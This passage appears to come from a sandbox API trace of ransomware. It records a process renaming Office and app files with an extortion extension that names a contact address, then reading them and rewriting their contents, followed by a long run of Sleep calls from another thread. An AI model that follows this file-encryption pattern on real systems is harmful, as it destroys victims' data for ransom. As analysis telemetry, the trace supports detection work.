Ptr=0x6fe3bb0, Size=0x4e34) returned 0x6fe3bb0 [0254.435] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\storelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.440] Sleep (dwMilliseconds=0x1) [0254.457] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc", len=0x60 | out: pbstr=0x60fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned 1 [0254.457] GetProcessHeap () returned 0x630000 [0254.457] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df4) returned 0x6fe3bb0 [0254.457] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.161] Sleep (dwMilliseconds=0x1) [0261.078] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-24.png", len=0x92 | out: pbstr=0x60fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-24.png") returned 1 [0261.078] GetProcessHeap () returned 0x630000 [0261.078] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc4) returned 0x6fe3bb0 [0261.078] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.080] Sleep (dwMilliseconds=0x1) [0261.115] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.ELM", len=0x68 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.ELM") returned 1 [0261.115] GetProcessHeap () returned 0x630000 [0261.115] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c98) returned 0x6fe3bb0 [0261.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0261.115] CloseHandle (hObject=0x4dc) returned 1 [0261.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\echo.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.116] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.116] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="ECHO.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ECHOEL~1.FIR")) returned 0x6d4f80 [0261.116] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0261.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\echo.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0261.117] GetProcessHeap () returned 0x630000 [0261.117] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb0e1) returned 0x7219168 [0261.117] GetProcessHeap () returned 0x630000 [0261.117] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb0e1) returned 0x6ee88b8 [0261.118] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.118] ReadFile (in: hFile=0x4dc, lpBuffer=0x7219168, nNumberOfBytesToRead=0xb0c0, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesRead=0x60fff0c*=0xb0c0, lpOverlapped=0x0) returned 1 [0266.137] GetProcessHeap () returned 0x630000 [0266.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0266.138] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.138] WriteFile (in: hFile=0x4dc, lpBuffer=0x6ee88b8*, nNumberOfBytesToWrite=0xb0c0, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesWritten=0x60fff0c*=0xb0c0, lpOverlapped=0x0) returned 1 [0266.139] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.140] WriteFile (in: hFile=0x4dc, lpBuffer=0x6ef3977*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef3977*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0266.140] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.140] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0266.140] CloseHandle (hObject=0x4dc) returned 1 [0266.140] GetProcessHeap () returned 0x630000 [0266.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0266.140] GetProcessHeap () returned 0x630000 [0266.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219168 | out: hHeap=0x630000) returned 1 [0266.140] GetProcessHeap () returned 0x630000 [0266.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0266.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\ECHO.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x649568a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb0f2, dwReserved0=0x9207496, dwReserved1=0x7219160, cFileName="ECHO.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ECHOEL~1.FIR")) returned 0x6d5540 [0266.141] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0266.141] Sleep (dwMilliseconds=0x1) [0268.042] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TEMPSITC.TTF", len=0x45 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TEMPSITC.TTF") returned 1 [0268.042] GetProcessHeap () returned 0x630000 [0268.042] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b64) returned 0x6fe3bb0 [0268.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TEMPSITC.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tempsitc.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0268.043] CloseHandle (hObject=0x6d0) returned 1 [0268.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0268.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TEMPSITC.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tempsitc.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TEMPSITC.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tempsitc.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0268.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0268.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TEMPSITC.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12944, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEMPSITC.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TEMPSI~1.FIR")) returned 0x6d4ec0 [0268.044] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0268.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TEMPSITC.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tempsitc.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0270.170] GetProcessHeap () returned 0x630000 [0270.170] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75c0048 [0270.185] GetProcessHeap () returned 0x630000 [0270.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75cb478 [0270.186] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.186] ReadFile (in: hFile=0x6d0, lpBuffer=0x75c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x75c0048*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 81 os_tid = 0x12c4 [0067.703] Sleep (dwMilliseconds=0x1) [0067.825] Sleep (dwMilliseconds=0x1) [0067.937] Sleep (dwMilliseconds=0x1) [0068.041] Sleep (dwMilliseconds=0x1) [0068.149] Sleep (dwMilliseconds=0x1) [0068.280] Sleep (dwMilliseconds=0x1) [0068.397] Sleep (dwMilliseconds=0x1) [0068.496] Sleep (dwMilliseconds=0x1) [0068.541] Sleep (dwMilliseconds=0x1) [0068.702] Sleep (dwMilliseconds=0x1) [0068.743] Sleep (dwMilliseconds=0x1) [0068.796] Sleep (dwMilliseconds=0x1) [0068.839] Sleep (dwMilliseconds=0x1) [0068.888] Sleep (dwMilliseconds=0x1) [0068.930] Sleep (dwMilliseconds=0x1) [0068.980] Sleep (dwMilliseconds=0x1) [0069.043] Sleep (dwMilliseconds=0x1) [0069.109] Sleep (dwMilliseconds=0x1) [0069.154] Sleep (dwMilliseconds=0x1) [0069.202] Sleep (dwMilliseconds=0x1) [0069.245] Sleep (dwMilliseconds=0x1) [0069.297] Sleep (dwMilliseconds=0x1) [0069.374] Sleep (dwMilliseconds=0x1) [0069.439] Sleep (dwMilliseconds=0x1) [0069.479] Sleep (dwMilliseconds=0x1) [0069.527] Sleep (dwMilliseconds=0x1) [0069.691] Sleep (dwMilliseconds=0x1) [0069.917] Sleep (dwMilliseconds=0x1) [0070.149] Sleep (dwMilliseconds=0x1) [0070.260] Sleep (dwMilliseconds=0x1) [0070.384] Sleep (dwMilliseconds=0x1) [0070.532] Sleep (dwMilliseconds=0x1) [0070.871] Sleep (dwMilliseconds=0x1) [0071.566] Sleep (dwMilliseconds=0x1) [0071.944] Sleep (dwMilliseconds=0x1) [0072.428] Sleep (dwMilliseconds=0x1) [0072.609] Sleep (dwMilliseconds=0x1) [0072.798] Sleep (dwMilliseconds=0x1) [0072.908] Sleep (dwMilliseconds=0x1) [0073.096] Sleep (dwMilliseconds=0x1) [0073.393] Sleep (dwMilliseconds=0x1) [0073.723] Sleep (dwMilliseconds=0x1) [0073.933] Sleep (dwMilliseconds=0x1) [0074.046] Sleep (dwMilliseconds=0x1) [0074.178] Sleep (dwMilliseconds=0x1) [0074.383] Sleep (dwMilliseconds=0x1) [0074.668] Sleep (dwMilliseconds=0x1) [0074.774] Sleep (dwMilliseconds=0x1) [0074.846] Sleep (dwMilliseconds=0x1) [0074.904] Sleep (dwMilliseconds=0x1) [0075.001] Sleep (dwMilliseconds=0x1) [0075.060] Sleep (dwMilliseconds=0x1) [0075.106] Sleep (dwMilliseconds=0x1) [0075.157] Sleep (dwMilliseconds=0x1) [0075.216] Sleep (dwMilliseconds=0x1) [0075.263] Sleep (dwMilliseconds=0x1) [0075.305] Sleep (dwMilliseconds=0x1) [0075.361] Sleep (dwMilliseconds=0x1) [0075.421] Sleep (dwMilliseconds=0x1) [0075.513] Sleep (dwMilliseconds=0x1) [0075.568] Sleep (dwMilliseconds=0x1) [0075.611] Sleep (dwMilliseconds=0x1) [0075.652] Sleep (dwMilliseconds=0x1) [0075.699] Sleep (dwMilliseconds=0x1) [0075.744] Sleep (dwMilliseconds=0x1) [0075.793] Sleep (dwMilliseconds=0x1) [0075.830] Sleep (dwMilliseconds=0x1) [0075.844] Sleep (dwMilliseconds=0x1) [0076.042] Sleep (dwMilliseconds=0x1) [0076.064] Sleep (dwMilliseconds=0x1) [0076.081] Sleep (dwMilliseconds=0x1) [0076.109] Sleep (dwMilliseconds=0x1) [0076.184] Sleep (dwMilliseconds=0x1) [0076.393] Sleep (dwMilliseconds=0x1) [0076.528] Sleep (dwMilliseconds=0x1) [0076.674] Sleep (dwMilliseconds=0x1) [0076.708] Sleep (dwMilliseconds=0x1) [0076.779] Sleep (dwMilliseconds=0x1) [0076.799] Sleep (dwMilliseconds=0x1) [0076.847] Sleep (dwMilliseconds=0x1) [0076.873] Sleep (dwMilliseconds=0x1) [0076.918] Sleep (dwMilliseconds=0x1) [0076.987] Sleep (dwMilliseconds=0x1) [0077.063] Sleep (dwMilliseconds=0x1) [0077.150] Sleep (dwMilliseconds=0x1) [0077.219] Sleep (dwMilliseconds=0x1) [0077.291] Sleep (dwMilliseconds=0x1) [0077.357] Sleep (dwMilliseconds=0x1) [0077.414] Sleep (dwMilliseconds=0x1) [0077.518] Sleep (dwMilliseconds=0x1) [0077.600] Sleep (dwMilliseconds=0x1) [0077.646] Sleep (dwMilliseconds=0x1) [0077.691] Sleep (dwMilliseconds=0x1) [0077.734] Sleep (dwMilliseconds=0x1) [0077.784] Sleep (dwMilliseconds=0x1) [0077.831] Sleep (dwMilliseconds=0x1) [0077.859] Sleep (dwMilliseconds=0x1) [0077.910] Sleep (dwMilliseconds=0x1) [0077.961] Sleep (dwMilliseconds=0x1) [0077.979] Sleep (dwMilliseconds=0x1) [0077.996] Sleep (dwMilliseconds=0x1) [0078.088] Sleep (dwMilliseconds=0x1) [0078.115] Sleep (dwMilliseconds=0x1) [0078.137] Sleep (dwMilliseconds=0x1) [0078.190] Sleep (dwMilliseconds=0x1) [0078.226] Sleep (dwMilliseconds=0x1) [0078.235] Sleep (dwMilliseconds=0x1) [0078.256] Sleep (dwMilliseconds=0x1) [0078.269] Sleep (dwMilliseconds=0x1) [0078.289] Sleep (dwMilliseconds=0x1) [0078.311] Sleep (dwMilliseconds=0x1) [0078.363] Sleep (dwMilliseconds=0x1) [0078.376] Sleep (dwMilliseconds=0x1) [0078.516] Sleep (dwMilliseconds=0x1) [0078.533] Sleep (dwMilliseconds=0x1) [0078.562] Sleep (dwMilliseconds=0x1) [0078.612] Sleep (dwMilliseconds=0x1) [0078.625] Sleep (dwMilliseconds=0x1) [0078.647] Sleep (dwMilliseconds=0x1) [0078.657] Sleep (dwMilliseconds=0x1) [0078.678] Sleep (dwMilliseconds=0x1) [0078.709] Sleep (dwMilliseconds=0x1) [0078.720] Sleep (dwMilliseconds=0x1) [0078.739] Sleep (dwMilliseconds=0x1) [0078.753] Sleep (dwMilliseconds=0x1) [0078.771] Sleep (dwMilliseconds=0x1) [0078.785] Sleep (dwMilliseconds=0x1) [0078.838] Sleep (dwMilliseconds=0x1) [0078.885] Sleep (dwMilliseconds=0x1) [0078.895] Sleep (dwMilliseconds=0x1) [0078.926] Sleep (dwMilliseconds=0x1) [0078.947] Sleep (dwMilliseconds=0x1) [0078.956] Sleep (dwMilliseconds=0x1) [0078.979] Sleep (dwMilliseconds=0x1) [0079.002] Sleep (dwMilliseconds=0x1) [0079.032] Sleep (dwMilliseconds=0x1) [0079.049] Sleep (dwMilliseconds=0x1) [0079.080] Sleep (dwMilliseconds=0x1) [0079.097] Sleep (dwMilliseconds=0x1) [0079.117] Sleep (dwMilliseconds=0x1) [0079.128] Sleep (dwMilliseconds=0x1) [0079.160] Sleep (dwMilliseconds=0x1) [0079.224] Sleep (dwMilliseconds=0x1) [0079.251] Sleep (dwMilliseconds=0x1) [0079.269] Sleep (dwMilliseconds=0x1) [0079.287] Sleep (dwMilliseconds=0x1) [0079.300] Sleep (dwMilliseconds=0x1) [0079.316] Sleep (dwMilliseconds=0x1) [0079.329] Sleep (dwMilliseconds=0x1) [0079.348] Sleep (dwMilliseconds=0x1) [0079.361] Sleep (dwMilliseconds=0x1) [0079.388] Sleep (dwMilliseconds=0x1) [0079.418] Sleep (dwMilliseconds=0x1) [0079.422] Sleep (dwMilliseconds=0x1) [0079.449] Sleep (dwMilliseconds=0x1) [0079.514] Sleep (dwMilliseconds=0x1) [0079.544] Sleep (dwMilliseconds=0x1) [0079.604] Sleep (dwMilliseconds=0x1) [0079.610] Sleep (dwMilliseconds=0x1) [0079.630] Sleep (dwMilliseconds=0x1) [0079.641] Sleep (dwMilliseconds=0x1) [0079.661] Sleep (dwMilliseconds=0x1) [0079.675] Sleep (dwMilliseconds=0x1) [0079.690] Sleep (dwMilliseconds=0x1) [0079.737] Sleep (dwMilliseconds=0x1) [0079.802] Sleep (dwMilliseconds=0x1) [0079.814] Sleep (dwMilliseconds=0x1) [0079.832] Sleep (dwMilliseconds=0x1) [0079.889] Sleep (dwMilliseconds=0x1) [0079.917] Sleep (dwMilliseconds=0x1) [0079.931] Sleep (dwMilliseconds=0x1) [0079.940] Sleep (dwMilliseconds=0x1) [0079.984] Sleep (dwMilliseconds=0x1) [0080.050] Sleep (dwMilliseconds=0x1) [0080.069] Sleep (dwMilliseconds=0x1) [0080.086] Sleep (dwMilliseconds=0x1) [0080.098] Sleep (dwMilliseconds=0x1) [0080.138] Sleep (dwMilliseconds=0x1) [0080.159] Sleep (dwMilliseconds=0x1) [0080.175] Sleep (dwMilliseconds=0x1) [0080.236] Sleep (dwMilliseconds=0x1) [0080.262] Sleep (dwMilliseconds=0x1) [0080.288] Sleep (dwMilliseconds=0x1) [0080.299] Sleep (dwMilliseconds=0x1) [0080.321] Sleep (dwMilliseconds=0x1) [0080.340] Sleep (dwMilliseconds=0x1) [0080.364] Sleep (dwMilliseconds=0x1) [0080.380] Sleep (dwMilliseconds=0x1) [0080.395] Sleep (dwMilliseconds=0x1) [0080.408] Sleep (dwMilliseconds=0x1) [0080.428] Sleep (dwMilliseconds=0x1) [0080.439] Sleep (dwMilliseconds=0x1) [0080.505] Sleep (dwMilliseconds=0x1) [0080.524] Sleep (dwMilliseconds=0x1) [0080.542] Sleep (dwMilliseconds=0x1) [0080.551] Sleep (dwMilliseconds=0x1) [0080.565] Sleep (dwMilliseconds=0x1) [0080.584] Sleep (dwMilliseconds=0x1) [0080.603] Sleep (dwMilliseconds=0x1) [0080.616] Sleep (dwMilliseconds=0x1) [0080.658] Sleep (dwMilliseconds=0x1) [0080.675] Sleep (dwMilliseconds=0x1) [0080.701] Sleep (dwMilliseconds=0x1) [0080.725] Sleep (dwMilliseconds=0x1) [0080.763] Sleep (dwMilliseconds=0x1) [0080.790] Sleep (dwMilliseconds=0x1) [0080.803] Sleep (dwMilliseconds=0x1) [0080.822] Sleep (dwMilliseconds=0x1) [0080.834] Sleep (dwMilliseconds=0x1) [0080.849] Sleep (dwMilliseconds=0x1) [0080.886] Sleep (dwMilliseconds=0x1) [0080.896] Sleep (dwMilliseconds=0x1) [0080.914] Sleep (dwMilliseconds=0x1) [0080.926] Sleep (dwMilliseconds=0x1) [0080.938] Sleep (dwMilliseconds=0x1) [0080.961] Sleep (dwMilliseconds=0x1) [0080.974] Sleep (dwMilliseconds=0x1) [0080.993] Sleep (dwMilliseconds=0x1) [0081.000] Sleep (dwMilliseconds=0x1) [0081.030] Sleep (dwMilliseconds=0x1) [0081.051] Sleep (dwMilliseconds=0x1) [0081.284] Sleep (dwMilliseconds=0x1) [0081.434] Sleep (dwMilliseconds=0x1) [0081.524] Sleep (dwMilliseconds=0x1) [0081.539] Sleep (dwMilliseconds=0x1) [0081.562] Sleep (dwMilliseconds=0x1) [0081.582] Sleep (dwMilliseconds=0x1) [0081.599] Sleep (dwMilliseconds=0x1) [0081.613] Sleep (dwMilliseconds=0x1) [0081.628] Sleep (dwMilliseconds=0x1) [0081.665] Sleep (dwMilliseconds=0x1) [0081.682] Sleep (dwMilliseconds=0x1) [0081.692] Sleep (dwMilliseconds=0x1) [0081.709] Sleep (dwMilliseconds=0x1) [0081.758] Sleep (dwMilliseconds=0x1) [0081.775] Sleep (dwMilliseconds=0x1) [0081.790] Sleep (dwMilliseconds=0x1) [0081.832] Sleep (dwMilliseconds=0x1) [0081.849] Sleep (dwMilliseconds=0x1) [0081.885] Sleep (dwMilliseconds=0x1) [0081.893] Sleep (dwMilliseconds=0x1) [0081.910] Sleep (dwMilliseconds=0x1) [0081.927] Sleep (dwMilliseconds=0x1) [0081.942] Sleep (dwMilliseconds=0x1) [0081.967] Sleep (dwMilliseconds=0x1) [0081.986] Sleep (dwMilliseconds=0x1) [0082.003] Sleep (dwMilliseconds=0x1) [0082.036] Sleep (dwMilliseconds=0x1) [0082.050] Sleep (dwMilliseconds=0x1) [0082.068] Sleep (dwMilliseconds=0x1) [0082.112] Sleep (dwMilliseconds=0x1) [0082.132] Sleep (dwMilliseconds=0x1) [0082.151] Sleep (dwMilliseconds=0x1) [0082.158] Sleep (dwMilliseconds=0x1) [0082.194] Sleep (dwMilliseconds=0x1) [0082.215] Sleep (dwMilliseconds=0x1) [0082.232] Sleep (dwMilliseconds=0x1) [0082.259] Sleep (dwMilliseconds=0x1) [0082.276] Sleep (dwMilliseconds=0x1) [0082.294] Sleep (dwMilliseconds=0x1) [0082.309] Sleep (dwMilliseconds=0x1) [0082.371] Sleep (dwMilliseconds=0x1) [0082.418] Sleep (dwMilliseconds=0x1) [0082.541] Sleep (dwMilliseconds=0x1) [0082.587] Sleep (dwMilliseconds=0x1) [0082.636] Sleep (dwMilliseconds=0x1) [0082.683] Sleep (dwMilliseconds=0x1) [0082.728] Sleep (dwMilliseconds=0x1) [0082.776] Sleep (dwMilliseconds=0x1) [0082.822] Sleep (dwMilliseconds=0x1) [0082.870] Sleep (dwMilliseconds=0x1) [0082.916] Sleep (dwMilliseconds=0x1) [0082.968] Sleep (dwMilliseconds=0x1) [0083.016] Sleep (dwMilliseconds=0x1) [0083.055] Sleep (dwMilliseconds=0x1) [0083.103] Sleep (dwMilliseconds=0x1) [0083.150] Sleep (dwMilliseconds=0x1) [0083.200] Sleep (dwMilliseconds=0x1) [0083.242] Sleep (dwMilliseconds=0x1) [0083.293] Sleep (dwMilliseconds=0x1) [0083.337] Sleep (dwMilliseconds=0x1) [0083.385] Sleep (dwMilliseconds=0x1) [0083.436] Sleep (dwMilliseconds=0x1) [0083.703] Sleep (dwMilliseconds=0x1) [0083.751] Sleep (dwMilliseconds=0x1) [0083.802] Sleep (dwMilliseconds=0x1) [0083.913] Sleep (dwMilliseconds=0x1) [0084.012] Sleep (dwMilliseconds=0x1) [0084.093] Sleep (dwMilliseconds=0x1) [0084.202] Sleep (dwMilliseconds=0x1) [0084.343] Sleep (dwMilliseconds=0x1) [0084.738] Sleep (dwMilliseconds=0x1) [0084.811] Sleep (dwMilliseconds=0x1) 